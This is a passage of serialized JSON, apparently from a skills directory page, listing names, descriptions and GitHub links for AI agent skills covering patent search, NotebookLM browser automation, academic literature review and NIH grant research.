log. Use when the user asks for patent searching or analysis (e.g., 'prior art search for [invention]', 'freedom to operate analysis for [product]'). Produces search signal, not legal advice — always recommends consulting a patent attorney before filing or licensing decisions. Trademark, copyright, and trade-secret questions are out of scope.","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fresearch\u002Fpatent\u002Fskills\u002Fpatent\u002FSKILL.md",[],[],{"skillNo":112,"name":113,"nameZh":6,"description":114,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":93,"licenseFileUrl":6,"sourceHtmlUrl":115,"categories":116,"keywords":117,"publishedAt":19},"01M7BERCK1EAKTWW7R436WAR0J","notebooklm","Browser automation skill for controlling Google's NotebookLM. Use when the user wants anything done in NotebookLM (e.g., 'open NotebookLM', 'check my [name] notebook', 'ask my notebook about X', 'add [source] to NotebookLM', 'generate a Video Overview from my notebook', 'use NotebookLM Studio'). Handles reading and querying notebooks, adding sources (URLs, text, files, YouTube links, synthesized content), generating Studio outputs (Audio\u002FVideo Overviews, Mind Maps, Reports incl. Briefing Doc\u002FStudy Guide\u002FFAQ, Flashcards, Quiz, slide decks, infographics — discover the exact set from the live Studio panel; the UI evolves fast), and creating new notebooks. Requires browser automation environment — fails gracefully when unavailable.","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fresearch\u002Fnotebooklm\u002Fskills\u002Fnotebooklm\u002FSKILL.md",[],[],{"skillNo":119,"name":120,"nameZh":6,"description":121,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":93,"licenseFileUrl":6,"sourceHtmlUrl":122,"categories":123,"keywords":124,"publishedAt":19},"01M7BEQZAZAQRTXFJRY7RHV3TY","litreview","Academic literature orientation skill that searches papers via free keyless APIs (PubMed E-utilities + OpenAlex) by default — with the Consensus MCP as an optional enhancement lane when connected — builds a strategic search plan using PICO (default) or SPIDER \u002F Decomposition \u002F hybrid as fallbacks, and synthesizes findings into a formatted Word (.docx) research guide. Grill-me intake (research question specificity + framework hint + tentative depth) before the recon search; a second forcing checkpoint after Phase 2 confirms framework + sub-areas + depth before searches consume budget. Configurable depth (5\u002F10\u002F20 queries) controls coverage vs. speed. Output is a 'launching pad' — an orientation guide that lets a researcher dive in confidently, not a finished review. Use when the user starts literature-oriented research (e.g., 'litreview on [topic]', 'literature review on [topic]', 'I'm starting a literature review on X', 'I'm writing a paper on X', 'help me research X', 'I'm doing research on X', 'can you help me research X'). Do NOT use for single one-off paper searches wanting a quick list — that's a plain PubMed\u002FOpenAlex (or Consensus) query.","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fresearch\u002Flitreview\u002Fskills\u002Flitreview\u002FSKILL.md",[],[],{"skillNo":126,"name":127,"nameZh":6,"description":128,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":93,"licenseFileUrl":6,"sourceHtmlUrl":129,"categories":130,"keywords":131,"publishedAt":19},"01M7BEQKJ45K31QK5VRAQSVJCJ","grants","NIH grant research skill for clinical researchers. Grill-me intake (research idea + career stage + preliminary data + environment + submission posture + known institute targets) locks down the funding strategy before any search runs. Runs a 5-facet Consensus positioning analysis (with draft Significance\u002FInnovation language), maps the research to the right NIH institutes and study sections via RePORTER, finds NOSIs and funded overlap, and produces an editable Word document (.docx) with budget\u002Fscope-aware mechanism recommendations, submission timelines, and a mandatory program officer recommendation. Use when the user asks about research funding or makes any grant-related request (e.g., 'grants for [topic]', 'find grants for my research idea', 'what grants match my research', 'help me find NIH funding', 'grant opportunities for my research'). NIH-only scope — non-NIH funders (PCORI, DOD CDMRP, VA, foundations) are out of scope and flagged at intake.","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fresearch\u002Fgrants\u002Fskills\u002Fgrants\u002FSKILL.md",[],[]]